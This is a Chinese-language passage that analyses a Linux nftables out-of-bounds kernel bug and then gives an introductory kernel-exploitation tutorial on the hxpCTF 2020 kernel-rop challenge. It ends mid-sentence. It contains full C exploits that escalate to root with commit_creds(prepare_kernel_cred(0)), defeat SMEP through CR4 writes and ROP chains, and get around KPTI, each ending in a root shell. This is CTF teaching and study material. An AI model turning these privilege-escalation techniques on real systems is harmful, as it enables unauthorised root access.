reg < 4则报错 9316: return -EINVAL; 9317: if (len == 0) //长度为0则报错 9318: return -EINVAL; 9319: if (reg * NFT_REG32_SIZE + len > sizeof_field(struct nft_regs, data)) //reg * 4 + len > 0x50则报错,存在整型溢出漏洞 9320: return -ERANGE; 9321: 9322: return 0; 9323: } nft_do_chain 每一个被拦截的数据包都需要经过链上的表达式进行处理,而链处理的函数则为nft_do_chains,这个函数会提取出相应的表达式,最后调用expr_call_ops_eval函数进行处理。 File: net\netfilter\nf_tables_core.c 197: unsigned int 198: nft_do_chain(struct nft_pktinfo *pkt, void *priv) 199: {   ... 224: for (; rule < last_rule; rule = nft_rule_next(rule)) { 225: nft_rule_dp_for_each_expr(expr, last, rule) { 226: if (expr->ops == &nft_cmp_fast_ops) 227: nft_cmp_fast_eval(expr, &regs); 228: else if (expr->ops == &nft_bitwise_fast_ops) 229: nft_bitwise_fast_eval(expr, &regs); 230: else if (expr->ops != &nft_payload_fast_ops || 231: !nft_payload_fast_eval(expr, &regs, pkt)) 232: expr_call_ops_eval(expr, &regs, pkt); 233: 234: if (regs.verdict.code != NFT_CONTINUE) 235: break; 236: }   ... expr_call_ops_eval expr_call_ops_eval函数则是根据不同的表达式选择不同的处理函数,例如若该数据包需要经过nft_payload的表达式处理,则会调用nft_payload_eval。 File: net\netfilter\nf_tables_core.c 161: static void expr_call_ops_eval(const struct nft_expr *expr, 162:       struct nft_regs *regs, 163:       struct nft_pktinfo *pkt) 164: { 165: #ifdef CONFIG_RETPOLINE 166: unsigned long e = (unsigned long)expr->ops->eval; 167: #define X(e, fun) \ 168: do { if ((e) == (unsigned long)(fun)) \ 169: return fun(expr, regs, pkt); } while (0) 170: 171: X(e, nft_payload_eval); 172: X(e, nft_cmp_eval); 173: X(e, nft_counter_eval); 174: X(e, nft_meta_get_eval); 175: X(e, nft_lookup_eval); 176: X(e, nft_range_eval); 177: X(e, nft_immediate_eval); 178: X(e, nft_byteorder_eval); 179: X(e, nft_dynset_eval); 180: X(e, nft_rt_get_eval); 181: X(e, nft_bitwise_eval); 182: #undef  X 183: #endif /* CONFIG_RETPOLINE */ 184: expr->ops->eval(expr, regs, pkt); 185: } nft_payload_eval 这里可以看到regs存放在栈上面,dest这个变量值是通过&regs->data[priv->dreg]取出来的,而priv->dreg则是通过上述的nft_parse_register_load函数进行提取的,那么这里就存在一个非常明显的数组越界的漏洞。 File: net\netfilter\nft_payload.c 121: void nft_payload_eval(const struct nft_expr *expr, 122:      struct nft_regs *regs, 123:      const struct nft_pktinfo *pkt) 124: { 125: const struct nft_payload *priv = nft_expr_priv(expr); 126: const struct sk_buff *skb = pkt->skb; 127: u32 *dest = &regs->data[priv->dreg]; ... 165: if (skb_copy_bits(skb, offset, dest, priv->len) < 0) //拷贝数据 166: goto err; 167: return; 168: err: 169: regs->verdict.code = NFT_BREAK; 170: } 因此整型溢出结合越界就能够使我们访问到内核栈上的其他数据,如下图所示。 漏洞利用 漏洞利用分析 现在我们拥有了访问内核栈上其它地址的能力了,想要做到任意代码执行则需要考虑下列几种情况 由于返回地址存在在栈上,需要判断数组越界是否能够到达返回地址的位置 如何通过数组越界改写返回地址 由于需要进行任意代码执行,那么需要用到内核函数,则需要得到内核的程序基地址才能够根据函数偏移地址计算出函数的实际地址 由于表达式都会对寄存器空间进行操作,因此可以使用表达式对内存空间进行读写操作。 nft_bitwise表达式可以控制源寄存器和目的寄存器,那么采用nft_bitwise可以将源寄存器的内容放置到目的寄存器中,因此可以利用nft_bitwise进行越界读,此时需要分析该数组越界读的边界的大小是多少。这里需要注意的是由于len是sreg与dreg共同拥有的,为了dreg不越界,这里的长度最大值只能为0x40而不能为0xff,因为拥有16个寄存器,每个寄存器的值为4个字节,因此16* 4 = 64 = 0x40 上界:(0xffffffff * 4) + 0x40 = 0x40000003c = 0x3c < 0x50 , 0xff* 4 = 0x3fc;由于可以拷贝0x40个字节的长度,因此0x3fc + 0x40 =0x43c。 下界:(0xfffffff0 * 4 ) + 0x40 = 0x400000000 = 0x0 < 0x50, 0xf0 *4 = 0x3c0 内核地址泄露 接着查看regs偏移0x3c0处的地址信息,结果发现在该片区域存在一个明显的内核地址,因此若能将这个地址进行泄露,我们就能获取内核的基地址。 返回地址覆盖 由于需要构建的payload比较长,而我们如果利用nft_wise最多只能写入0x43c -0x3c0 =0x7c的长度,是远远不够的,因此对返回地址进行覆盖时不能使用nft_bitwise,而得改用nft_payload。nft_payload需要dreg的下标以及修改的长度len,由于我们只需要考虑一个寄存器的值,因此该寄存器的长度最大可以达到0xff。因此我们可以在地址更低的位置去搜索有无可以覆盖的返回地址。 可以发现在0x360的地址处也有一个内核的代码段地址 并且可以发现该函数主要是处理udp包的发送 为了检验该地址是否能够修改程序的执行流程,可以使用一个方法,将该地址的值修改为非法值并观察内核是否会崩溃,这里将地址的内容修改为0x1122334455667788,接着运行程序。 可以看到内核报错的信息显示RIP的地址为刚刚我们修改的地址,因此该地址可以作为被劫持程序执行流程的地址。 exp分析 现在我们已经具有了两个利用条件 泄露内核的程序基地址 找到可以劫持程序执行流程的地址值 地址泄露 利用nft_bitwise泄露地址,这里注意的是在使用nft_bitwise泄露地址时,需要将data值设置为0,这样就不会进行移位而导致我们的内核地址被修改存储,最后将泄露的地址值放置在NFT_REG32_05下标的寄存器中 接着使用nft_set_payload将udp数据包的值修改为NFT_REG32_05寄存器的值,最后取出udp数据包的值,获取内核程序地址值 返回地址覆盖 利用nft_payload完成返回地址的覆盖 在数据包中将payload填充进去,这里需要说明一下如何在内核中拿到shell权限 首先需要在内核中拿到root权限,需要调用commit_creds(prepare_kernel_cred(0))的内核函数获取新的凭证结构,而该结构的uid = 0 ,gid =0即为root权限 其次需要切换命名空间,由于在普通用户下是无法直接调用Nftables的,因为需要管理员的权限,因此在普通用户下需要新开辟一个命名空间,使得该空间与正常的空间隔离,此时才能够正常执行Nftales。那么如果逃逸这段命名空间则需要进行命名空间的切换,则依赖于switch_task_namespace函数,可以将命名空间切换为root的命名空间 最后则是实现从内核态切换到用户态,由于我们是在内核空间拿到权限,而我们需要在用户态执行,因此需要完成状态的转换,该状态转换依赖于swapgs_restore_regs函数 漏洞修复 补丁则是新增一条判断条件,属于4字节寄存器的下标单独处理,而不在16字节寄存器以及4字节寄存器的范围内的下标都进行报错处理 总结 Nftables栈溢出漏洞攻击流程 首先利用nft_bitwise进行内核基地址的泄露。 其次是利用nft_payload改写返回地址,并将提权代码注入进去。 最后等到代码被触发。 Nftables栈溢出漏洞利用的限制 不同的内核版本的内核栈布局几乎不同,因此不同版本之间的利用手法相差较大,因此漏洞的利用十分依赖于内核版本,针对不同的版本需要做出针对性的漏洞利用的exp编写。差别存在于内核栈中存在的内核代码段地址的偏移不同,例如有些内核代码段地址偏移距离regs太大,导致无法利用漏洞进行泄露或者改写。
kernel pwn入门
Linux Kernel 介绍 Linux 内核是 Linux操作系统的核心组件,它提供了操作系统的基本功能和服务。它是一个开源软件,由Linus Torvalds 在 1991 年开始开发,并得到了全球广泛的贡献和支持。 Linux内核的主要功能包括进程管理、内存管理、文件系统、网络通信、设备驱动程序等。它负责管理计算机硬件和软件资源,并为应用程序提供必要的基础支持。Linux内核是一个模块化的系统,可以根据需要加载和卸载各种驱动程序和功能模块。 Linux Kernel 环境 vmlinuz或bzImage:linux内核的压缩镜像 vmlinux:linux内核的符号表 initramfs.cpio.gz:文件系统,有系统启动的信息 run.sh:qemu启动的shell脚本,里面有linux内核开启了哪些保护 Linux Kernel gadget获取 通过压缩的linux内核镜像获取符号表 ./extract-image.sh ./vmlinuz > vmlinux extract-image.sh #!/bin/sh # SPDX-License-Identifier: GPL-2.0-only # ---------------------------------------------------------------------- # extract-vmlinux - Extract uncompressed vmlinux from a kernel image # # Inspired from extract-ikconfig # (c) 2009,2010 Dick Streefland <dick@streefland.net> # # (c) 2011     Corentin Chary <corentin.chary@gmail.com> # # ---------------------------------------------------------------------- check_vmlinux() { # Use readelf to check if it's a valid ELF # TODO: find a better to way to check that it's really vmlinux #       and not just an elf readelf -h $1 > /dev/null 2>&1 || return 1 cat $1 exit 0 } try_decompress() { # The obscure use of the "tr" filter is to work around older versions of # "grep" that report the byte offset of the line instead of the pattern. # Try to find the header ($1) and decompress from here for pos in `tr "$1\n$2" "\n$2=" < "$img" | grep -abo "^$2"` do pos=${pos%%:*} tail -c+$pos "$img" | $3 > $tmp 2> /dev/null check_vmlinux $tmp done } # Check invocation: me=${0##*/} img=$1 if [ $# -ne 1 -o ! -s "$img" ] then echo "Usage: $me <kernel-image>" >&2 exit 2 fi # Prepare temp files: tmp=$(mktemp /tmp/vmlinux-XXX) trap "rm -f $tmp" 0 # That didn't work, so retry after decompression. try_decompress '\037\213\010' xy   gunzip try_decompress '\3757zXZ\000' abcde unxz try_decompress 'BZh'         xy   bunzip2 try_decompress '\135\0\0\0'   xxx   unlzma try_decompress '\211\114\132' xy    'lzop -d' try_decompress '\002!L\030'   xxx   'lz4 -d' try_decompress '(\265/\375'   xxx   unzstd # Finally check for uncompressed images or objects: check_vmlinux $img # Bail out: echo "$me: Cannot find vmlinux." >&2 ROPgadget获取 不建议用ROPgadget,速度比较慢 ROPgadget --binary ./vmlinux > gadgets.txt Ropper获取 使用ropper速度会比较快 ropper --file ./vmlinux --nocolor > g 直接获取 ./vmlinux > gadgets.txt 然后搜索 cat gadgets.txt | grep 'pop' 文件系统 解包 mkdir initramfs cd initramfs cp ../initramfs.cpio.gz . gunzip ./initramfs.cpio.gz cpio -idm < ./initramfs.cpio rm initramfs.cpio 打包 gcc -o exploit -static $1 mv ./exploit ./initramfs cd initramfs find . -print0 \ | cpio --null -ov --format=newc \ | gzip -9 > initramfs.cpio.gz mv ./initramfs.cpio.gz ../ Linux Kernel的保护措施 Kernel stack cookies【canary】:防止内核栈溢出 Kernel address space layout【KASLR】:内核地址随机化 Supervisor mode executionprotection【SMEP】:内核态中不能执行用户空间的代码。在内核中可以将CR4寄存器的第20比特设置为1,表示启用。 开启:在-cpu参数中设置+smep 关闭:nosmep添加到-append Supervisor Mode AccessPrevention【SMAP】:在内核态中不能读写用户页的数据。在内核中可以将CR4寄存器的第21比特设置为1,表示启用。 开启:在-cpu参数中设置+smap 关闭:nosmap添加到-append Kernel page-tableisolation【KPTI】:将用户页与内核页分隔开,在用户态时只使用用户页,而在内核态时使用内核页。 开启:kpti=1 关闭:nopti添加到-append hxpCTF 2020 kernel-rop 这里使用hxpCTF2020的内核题作为例子,对内核中的保护以及如何绕过做简单介绍。 项目地址:https://github.com/h0pe-ay/Kernel-Pwn hackme_read 这个函数会将内核栈的数据拷贝到用户空间中去,因此可以利用改函数泄露内核栈的信息 hackme_write hackme_write这个函数则是从用户空间拷贝数据到内核栈中,但是变量V5的存储空间是远远小于从用户态中可以传的数据的大小,因此导致了出现内核态栈溢出。 动态调试 首先在启动脚本run.sh中加入-s的参数,使得可以使用gdb对qemu进行调试 其次可以使用lsmod查看模块加载的基址,这里需要注意的是需要先将启动脚本中的权限改为0 否则直接运行不会显示模块的地址,结果如下 将权限修改为0之后,就可以正常显示了 然后通过gdb进行调试时则可以将模块的基地址加入进去,使用add-symbol-file hackme.ko 0xffffffffc0000000 接着是从题目给的内核镜像中提取符号信息,通过./extract-image.sh vmlinuz > vmlinux,并且也加载到gdb中 最后就可以开启远程调试了,target remote:1234 这里需要注意的是ida中显示的地址可能不准确,因此可以直接在qemu中查看,cat /proc/kallsyms | grep hackme 在hackme_write中打下断点 这里我遇到个问题是在遇到push指令时不能够使用ni进行跟踪,而是需要si,否则会跑飞。 使用ni进行单步调试,程序会直接运行,无法断下来。 使用si则可以单步 至此就可以对hackme.ko的模块进行调试了。 未开启保护 首先是关闭内核中所有的保护,在遇到内核栈溢出时需要怎么完成漏洞利用。 run.sh 在append使用使用nosmap、nosemp、nokaslr、nopti关闭smap、semp、kaslr以及kpti的保护 qemu-system-x86_64 \    -m 128M \    -cpu kvm64\    -kernel vmlinuz \    -initrd initramfs.cpio.gz \    -hdb flag.txt \    -snapshot \    -nographic \    -monitor /dev/null \    -no-reboot \    -append "console=ttyS0 nosmap nosemp nokaslr nopti quiet panic=1" \    -s ret2user 由于题目没有开启任何保护,因此首要使用的方法就是利用栈溢出修改内核栈上的返回地址。 首先检查一下保护,发现hackme.ko开启的canary的保护,因此想要完成栈溢出,首先需要泄露canary,由于题目本身就存在地址泄露功能,因此只要确保我们读取的内容包括canary的值即可 在hackme_read中打下断点,查看变量v6中存储了什么值,由于程序是通过memcpy进行数据拷贝的,因此直接查看RSI寄存器对应的数据 可以发现canary的值就在其中,因此利用hackmeread这个函数就可以将数据泄露出来 这里需要注意的是,虽然题目限制的长度是0x1000,但是并不能将拷贝0x1000的长度,因为可能会在不可读的地址中获取数据,导致了执行错误。 在泄露canary后就可以劫持程序执行流程了,与用户态不同,在内核态需要先获取root凭证,在切换到用户态下。 prepare_kernel_cred函数 prepare_kernel_cred函数用于为内核中的进程(也就是进程的内核线程)创建一个新的cred 结构体,该结构体包含有关进程的安全上下文信息,例如UID、GID、capabilities 等。 commit_creds函数 commit_creds 函数接受一个指向 cred结构体的指针,并将其分配给当前进程。该函数通常在进程启动时调用,以确保进程被正确配置以拥有所需的权限。 因此调用prepare_kernel_cred(0)可以获取root权限的凭证,接着调用commit_creds函数,就可以将当前进程的特权修改为root。即指向commit_creds(prepare_kernel_cred(0)) 在获取完root之后则需要调用swags指令进行GS寄存器的切换,即将g_base与k_gs_base的值进行交换,swapgs是一个汇编指令,用于在执行内核代码期间切换当前 CPU 的内核栈和 GS寄存器。完成交换之后才能确保在用户态的寻址不会存在问题。 执行swags指令之前 执行swags指令之后 最后则是切换回用户态,iretq 指令是 x86架构下用于从中断处理程序(或系统调用处理程序)返回到用户空间的指令。它是iret 指令的 64 位版本,用于在 64 位模式下使用。 iretq 指令有以下三个功能: 恢复处理器的标志寄存器 (EFLAGS)的值,以便返回到原始程序的执行上下文。 恢复程序计数器 (Instruction Pointer, RIP)的值,以便返回到原始程序的执行点。 恢复栈指针 (Stack Pointer, RSP) 的值,以便将堆栈指针切换回用户栈上。 iretq还原的值的顺序为RIP|CS|RFLAGS|SP|SS,那么在iret指令中按顺序填充RIP、CS、RFLASG、RSP以及SS的值即可,因此在执行iretq之前需要将在用户态下将这些值进行保存。并且RIP指向的值为system("/bin/sh")函数的地址即可。 保存寄存器的汇编代码如下 __asm( ".intel_syntax noprefix;" "mov user_cs, cs;" "mov user_sp, rsp;" "mov user_ss, ss;" "pushf;" "pop user_rflags;" ".att_syntax;" ); 在iretq指令后跟随的值如下 exp 因此最后构造的exp如下 #include <stdio.h> #include <fcntl.h> /* 0xffffffff814c6410 T commit_creds 0xffffffff814c67f0 T prepare_kernel_cred */ unsigned long user_sp, user_cs, user_ss, user_rflags; void save_user_land() { __asm__( ".intel_syntax noprefix;" "mov user_cs, cs;" "mov user_sp, rsp;" "mov user_ss, ss;" "pushf;" "pop user_rflags;" ".att_syntax;" ); puts("[*] Saved userland registers"); printf("[#] cs: 0x%lx \n", user_cs); printf("[#] ss: 0x%lx \n", user_ss); printf("[#] rsp: 0x%lx \n", user_sp); printf("[#] rflags: 0x%lx \n\n", user_rflags); } void backdoor() { printf("****getshell****"); system("id"); system("/bin/sh"); } unsigned long user_rip = (unsigned long)backdoor; void lpe() { __asm( ".intel_syntax noprefix;" "movabs rax, 0xffffffff814c67f0;" //prepare_kernel_cred "xor rdi, rdi;" "call rax;" //prepare_kernel_cred(0); "mov rdi, rax;" "mov rax, 0xffffffff814c6410;" "call rax;" "swapgs;" "mov r15, user_ss;" "push r15;" "mov r15, user_sp;" "push r15;" "mov r15, user_rflags;" "push r15;" "mov r15, user_cs;" "push r15;" "mov r15, user_rip;" "push r15;" "iretq;" ".att_syntax;" ); } int main() { unsigned int i, index = 0; int fd = open("/dev/hackme", O_RDWR); unsigned long buf[256]; read(fd, buf, 8*11); for(i = 0; i < 11; i++) printf("i:%d:data:0x%lx\n",i, buf[i]); unsigned long canary = buf[2]; unsigned long leak_addr = buf[10]; save_user_land(); unsigned long payload[256]; for(i = 0; i < (16); i ++) payload[index++] = 0; payload[index++] = canary; payload[index++] = 0; payload[index++] = 0; payload[index++] = 0; payload[index++] = (unsigned long)lpe; write(fd, payload, index * 8); return 0; } 绕过SMEP SMEP保护是防止内核执行用户空间的代码,而上述的exp则是将利用过程是将汇编语言写在用户空间中,因此在SMEP的保护下,上述的利用会失效。下面将介绍绕过SMEP的几种方法。 run.sh qemu-system-x86_64 \    -m 128M \    -cpu kvm64,+smep\    -kernel vmlinuz \    -initrd initramfs.cpio.gz \    -hdb flag.txt \    -snapshot \    -nographic \    -monitor /dev/null \    -no-reboot \    -append "console=ttyS0 nosmap nokaslr nopti quiet panic=1" \    -s 修改CR4寄存器 前面说过开启SMEP保护实际是将CR4寄存器的第20比特位置为1 那么一个简单的想法就是将CR4寄存器的第20比特位重写为0,关闭SMEP的保护就可以使用上述的利用手法了。那么写cr4寄存器的是通过native_write_cr4函数,将需要改写的值以参数的形式传入进去,因此此时需要一个pop rdi; ret的gadget。 找到native_write_cr4函数 exp #include <stdio.h> #include <fcntl.h> /* 0xffffffff814c6410 T commit_creds 0xffffffff814c67f0 T prepare_kernel_cred 0xffffffff81006370: pop rdi; ret; 0xffffffff814443e0 T native_write_cr4 */ unsigned long user_sp, user_cs, user_ss, user_rflags; void save_user_land() { __asm__( ".intel_syntax noprefix;" "mov user_cs, cs;" "mov user_sp, rsp;" "mov user_ss, ss;" "pushf;" "pop user_rflags;" ".att_syntax;" ); puts("[*] Saved userland registers"); printf("[#] cs: 0x%lx \n", user_cs); printf("[#] ss: 0x%lx \n", user_ss); printf("[#] rsp: 0x%lx \n", user_sp); printf("[#] rflags: 0x%lx \n\n", user_rflags); } void backdoor() { printf("****getshell****"); system("id"); system("/bin/sh"); } unsigned long user_rip = (unsigned long)backdoor; void lpe() { __asm( ".intel_syntax noprefix;" "movabs rax, 0xffffffff814c67f0;" //prepare_kernel_cred "xor rdi, rdi;" "call rax;" //prepare_kernel_cred(0); "mov rdi, rax;" "mov rax, 0xffffffff814c6410;" "call rax;" "swapgs;" "mov r15, user_ss;" "push r15;" "mov r15, user_sp;" "push r15;" "mov r15, user_rflags;" "push r15;" "mov r15, user_cs;" "push r15;" "mov r15, user_rip;" "push r15;" "iretq;" ".att_syntax;" ); } int main() { unsigned int i, index = 0; int fd = open("/dev/hackme", O_RDWR); unsigned long buf[256]; read(fd, buf, 8*11); for(i = 0; i < 11; i++) printf("i:%d:data:0x%lx\n",i, buf[i]); unsigned long canary = buf[2]; unsigned long leak_addr = buf[10]; save_user_land(); unsigned long payload[256]; for(i = 0; i < (16); i ++) payload[index++] = 0; payload[index++] = canary; payload[index++] = 0; payload[index++] = 0; payload[index++] = 0; payload[index++] = 0xffffffff81006370; // pop rdi; ret; payload[index++] = 0x00000000000060; payload[index++] = 0xffffffff814443e0; //native_write_cr4 payload[index++] = (unsigned long)lpe; write(fd, payload, index * 8); return 0; } 但是在这个版本下的内核已经无法通过native_write_cr4函数改写CR4寄存器了,可以通过dmesg打印日志信息,可以发现 提示pinned CR4 bits changed: 0x100000!?的错误,并且CR4的值也没有被修改,这是因为在当前的内核版本中增加了校验,若后续通过native_write_cr4函数修改的值与启动的值不一致则会报错,并且将值修改为回来的值。 可以看到补丁的说明,在启动后CR4的值无法被修改。因此在改利用手法只能在对CR4进行校验的版本下使用。 构造逃逸ROP 由于SMEP只是杜绝了执行用户态的代码,因此利用ROP的思路,在内核态完成ROP链的构造,并且执行commit_creds(prepare_kernel_cred(0)) -> swags -> iretq的流程。 那么此时需要什么样的gadget则是构造逃逸ROP的重点,由于需要手动传参调用上述的攻击链,因此需要 pop rdi; ret; mov rdi , rax; ret,这里需要注意的是,我们需要prepare_kernel_cred(0)执行的返回值,因此需要将rax寄存器的值传递给rdi寄存器 swags; ret iretq 除了mov rdi, rax; ret以外,其余的gadget都可以很轻松的搜索出来,但是内核中不存在mod rdi, rax; ret这样的gadget,因此需要想办法找到其他的gadget,这里我找到如下的组合,通过构造rdi与rsi的值,使得rdi = rsi从而导致jne的跳转无法执行,那么就可以在执行mov rdi, rax的情况下可以跳过jne的跳转指令执行到ret指令。 0xffffffff8166fea3: mov rdi, rax; jne 0x86fe73; pop rbx; pop rbp; ret; 0xffffffff81006370: pop rdi; ret; 0xffffffff818c6b35: add rsi, 1; cmp rsi, rdi; jne 0xac6b30; pop rbp; ret; 0xffffffff8150b97e: pop rsi; ret; 因此ROP逃逸的思路与在用户态的ROP区别不大,只要找到合适的gadget即可 exp #include <stdio.h> #include <fcntl.h> /* 0xffffffff814c6410 T commit_creds 0xffffffff814c67f0 T prepare_kernel_cred 0xffffffff823d6b02: cmp rdi, 0xffffff; ret; 0xffffffff8166fea3: mov rdi, rax; jne 0x86fe73; pop rbx; pop rbp; ret; 0xffffffff81006370: pop rdi; ret; 0xffffffff8100a55f: swapgs; pop rbp; ret; 0xffffffff818c6b35: add rsi, 1; cmp rsi, rdi; jne 0xac6b30; pop rbp; ret; 0xffffffff814381cb: iretq; pop rbp; ret; 0xffffffff8150b97e: pop rsi; ret; */ //iretq RIP|CS|RFLAGS|SP|SS unsigned long user_cs,user_rflags,user_sp,user_ss; void save_state() { __asm( ".intel_syntax noprefix;" "mov user_cs, cs;" "mov user_sp, rsp;" "mov user_ss, ss;" "pushf;" "pop user_rflags;" ".att_syntax;" ); puts("***save state***"); printf("user_cs:0x%lx\n", user_cs); printf("user_sp:0x%lx\n", user_sp); printf("user_ss:0x%lx\n", user_ss); printf("user_rflags:0x%lx\n", user_rflags); puts("***save finish***"); } void backdoor() { puts("***getshell***"); system("/bin/sh"); }int main() { save_state(); int fd = open("/dev/hackme", O_RDWR); unsigned long buf[256]; read(fd, buf, 0x10 * 8); for(int i = 0; i < 0x10; i++) printf("i:%d\taddress:0x%lx\n",i, buf[i]); unsigned long canary = buf[2]; unsigned long payload[256]; unsigned int index = 0; for(int i = 0; i < (16); i ++) payload[index++] = 0; //iretq RIP|CS|RFLAGS|SP|SS payload[index++] = canary; payload[index++] = 0; payload[index++] = 0; payload[index++] = 0; payload[index++] = 0xffffffff81006370; //pop_rdi_ret payload[index++] = 0; payload[index++] = 0xffffffff814c67f0; //prepare_kernel_cred payload[index++] = 0xffffffff8150b97e; //pop_rsi_ret payload[index++] = 0; payload[index++] = 0xffffffff81006370; //pop_rdi_ret payload[index++] = 1; payload[index++] = 0xffffffff818c6b35; //add rsi, 1; cmp rsi, rdi; jne 0xac6b30; pop rbp; ret; payload[index++] = 0; payload[index++] = 0xffffffff8166fea3; //mov rdi, rax; jne 0x86fe73; pop rbx; pop rbp; ret; payload[index++] = 0; payload[index++] = 0; payload[index++] = 0xffffffff814c6410; //commit_creds; payload[index++] = 0xffffffff8100a55f; //swapgs; pop rbp; ret; payload[index++] = 0; payload[index++] = 0xffffffff814381cb; //iretq; pop rbp; ret; payload[index++] = (unsigned long)backdoor; payload[index++] = user_cs; payload[index++] = user_rflags; payload[index++] = user_sp; payload[index++] = user_ss; write(fd, payload, index * 8); } 栈迁移 栈迁移能使用的场景是当我们需要构造的ROP链大于能溢出的字节数时采用的与用户态不同的是在内核中存在很多可以修改RSP指针的gadget可以使用。这里我找到的gadget是,通过pop rbp; ret与mov rsp, rbp结合,就能够篡改rsp为任何值。 0xffffffff818fa3ef: xor rax, rdx; pop rbp; ret; 0xffffffff810062dc: mov rsp, rbp; pop rbp; ret; 那么需要将rsp篡改为何值,此时就需要结合mmap函数,该函数能够在用户空间中开辟一段内存,该内存的属性可以自定义,因此思路则是将rsp的值指向mmap开辟的地址,通过栈迁移技术,将栈迁移到mmap的地址值,我们在将ROP链填充到mmap开辟的内存中即可,这里对mmap函数进行一个介绍。 mmap函数 void *mmap(void *addr, size_t length, int prot, int flags, int fd, off_t offset); addr:开辟的地址值,若为0则操作系统自行选择,否则为填充的值,该地址的值需要页对齐(0x1000),并且最小的值需要为0x10000(这里是我自己测试的) length:内存的大小 prot:权限 PROT_EXEC,执行权限 PROT_READ,读权限 PROT_WRITE,写权限 PROT_NONE,没有任何权限 flags:标志位,mmap函数可以设置的标志位有很多,这里着重介绍一些常用的 MAP_SHARED:共享映射,映射的内容可以被其他进程所看到,同时能够同步到底层的文件 MAP_PRIVATE:私有映射,映射的内容不能被其他进程所看到,也不会同步到底层的文件 MAP_ANONYMOUS:匿名映射,是一种不映射文件的映射 MAP_FIXED:固定映射,即映射地址必须是addr所指定的,若该地址被占用则mmap返回错误 fd:需要映射的文件描述符,若是匿名映射则设置为-1 offet:映射的偏移,即选择从哪个位置开始映射 映射代码如下,这里需要注意的是,由于我们只需要在用户空间中任意开辟一段可执行的内存,因此只需要进行匿名映射,并且地址值需要固定。因此MAP_ANONYMOUS与MAP_FIXED的标志位需要被指定,然后是MAP_SHARED与MAP_PRIVATE必须两个中指定一个,否则也会报错,因为这两个参数指明的是修改的内容是否会影响其他进程或者是底层的文件。 栈迁移完成 将ROP链部署在了映射内存中 最后是遇到的小疑惑,刚开始学习到栈迁移的时候会觉得奇怪,因为mmap开辟的内存是在用户态的,SMEP则是禁止执行用户态的代码,为什么使用栈迁移可以绕过SMEP,后面理解发现,我们只是访问了用户空间的地址即0x2000,但是这段用户态空间填写的地址都是内核态的地址,因此总结流程则是我们在用户态空间中填充了内核态的地址,在进行栈迁移绕过SMEP时,仅仅是访问了用户态空间的地址,最后执行时还是执行的内核态的地址,因此SMEP无法阻碍这种利用。而这也正是SMAP与SMEP的区别,SMAP则是无法读写用户态空间,因此若开启了SMAP,那么该利用手法则无法进行。 绕过KPTI KPTI(Kernel Page Table Isolation)是一种针对 Intel处理器的内核保护机制,用于减轻 Spectre 和 Meltdown 等 CPU可以被利用的安全漏洞所造成的影响。KPTI的主要目的是隔离内核地址空间和用户地址空间,防止恶意程序通过访问内核地址空间来窃取敏感数据。 简单来说就是KPTI的保护即将用户空间的页与内核内核空间的页完全分隔开,那么在使用上述代码进行利用的时候会报出段错误,因为在内核空间的页中没办法找到用户空间的代码。 那么有两种方式可以绕过KPTI 捕获Segmentation fault的异常,在异常处理中调用system(/bin/sh) 切换页表,将内核空间的页表切换到用户空间中去 run.sh qemu-system-x86_64 \    -m 128M \    -cpu kvm64,+smep\    -kernel vmlinuz \    -initrd initramfs.cpio.gz \    -hdb flag.txt \    -snapshot \    -nographic \    -monitor /dev/null \    -no-reboot \    -append "console=ttyS0 nosmap nokaslr kpti=1 quiet panic=1" \    -s 使用异常处理 使用异常处理非常简单,只需要注册一个异常处理的函数去捕获SIGSEGV信号,在捕获到该信号时执行异常处理函数,可自定义为system("/bin/sh") signal(SIGSEGV, backdoor); exp #include <stdio.h> #include <fcntl.h> #include <signal.h> /* 0xffffffff814c6410 T commit_creds 0xffffffff814c67f0 T prepare_kernel_cred 0xffffffff823d6b02: cmp rdi, 0xffffff; ret; 0xffffffff8166fea3: mov rdi, rax; jne 0x86fe73; pop rbx; pop rbp; ret; 0xffffffff8166ff23: mov rdi, rax; jne 0x86fef3; pop rbx; pop rbp; ret; 0xffffffff81006370: pop rdi; ret; 0xffffffff8100a55f: swapgs; pop rbp; ret; 0xffffffff818c6b35: add rsi, 1; cmp rsi, rdi; jne 0xac6b30; pop rbp; ret; 0xffffffff814381cb: iretq; pop rbp; ret; 0xffffffff8150b97e: pop rsi; ret; */ //iretq RIP|CS|RFLAGS|SP|SS unsigned long user_cs,user_rflags,user_sp,user_ss; void save_state() { __asm( ".intel_syntax noprefix;" "mov user_cs, cs;" "mov user_sp, rsp;" "mov user_ss, ss;" "pushf;" "pop user_rflags;" ".att_syntax;" ); puts("***save state***"); printf("user_cs:0x%lx\n", user_cs); printf("user_sp:0x%lx\n", user_sp); printf("user_ss:0x%lx\n", user_ss); printf("user_rflags:0x%lx\n", user_rflags); puts("***save finish***"); } void backdoor() { puts("***getshell***"); system("/bin/sh"); }int main() { save_state(); signal(SIGSEGV, backdoor); int fd = open("/dev/hackme", O_RDWR); unsigned long buf[256]; read(fd, buf, 0x10 * 8); for(int i = 0; i < 0x10; i++) printf("i:%d\taddress:0x%lx\n",i, buf[i]); unsigned long canary = buf[2]; unsigned long payload[256]; unsigned int index = 0; for(int i = 0; i < (16); i ++) payload[index++] = 0; //iretq RIP|CS|RFLAGS|SP|SS payload[index++] = canary; payload[index++] = 0; payload[index++] = 0; payload[index++] = 0; payload[index++] = 0xffffffff81006370; //pop_rdi_ret payload[index++] = 0; payload[index++] = 0xffffffff814c67f0; //prepare_kernel_cred payload[index++] = 0xffffffff8150b97e; //pop_rsi_ret payload[index++] = 0; payload[index++] = 0xffffffff81006370; //pop_rdi_ret payload[index++] = 1; payload[index++] = 0xffffffff818c6b35; //add rsi, 1; cmp rsi, rdi; jne 0xac6b30; pop rbp; ret; payload[index++] = 0; payload[index++] = 0xffffffff8166fea3; //mov rdi, rax; jne 0x86fe73; pop rbx; pop rbp; ret; payload[index++] = 0; payload[index++] = 0; payload[index++] = 0xffffffff814c6410; //commit_creds; payload[index++] = 0xffffffff8100a55f; //swapgs; pop rbp; ret; payload[index++] = 0; payload[index++] = 0xffffffff814381cb; //iretq; pop rbp; ret; payload[index++] = (unsigned long)backdoor; payload[index++] = user_cs; payload[index++] = user_rflags; payload[index++] = user_sp; payload[index++] = user_ss; write(fd, payload, index * 8); } 使用swapgs_restore_regs_and_return_to_usermode 第二种方式则是修改页表,CR3 寄存器是 x86架构中的一种控制寄存器,用于存储页目录表(Page DirectoryTable)的物理地址。因此若能够修改CR3的值为用户空间的页表,那么就可以完成页表的切换,从而正常执行利用代码了。 那么在内核中存在一个函数swapgs_restore_regs_and_return_to_usermode,swapgs_restore_regs_and_return_to_usermode 函数是在 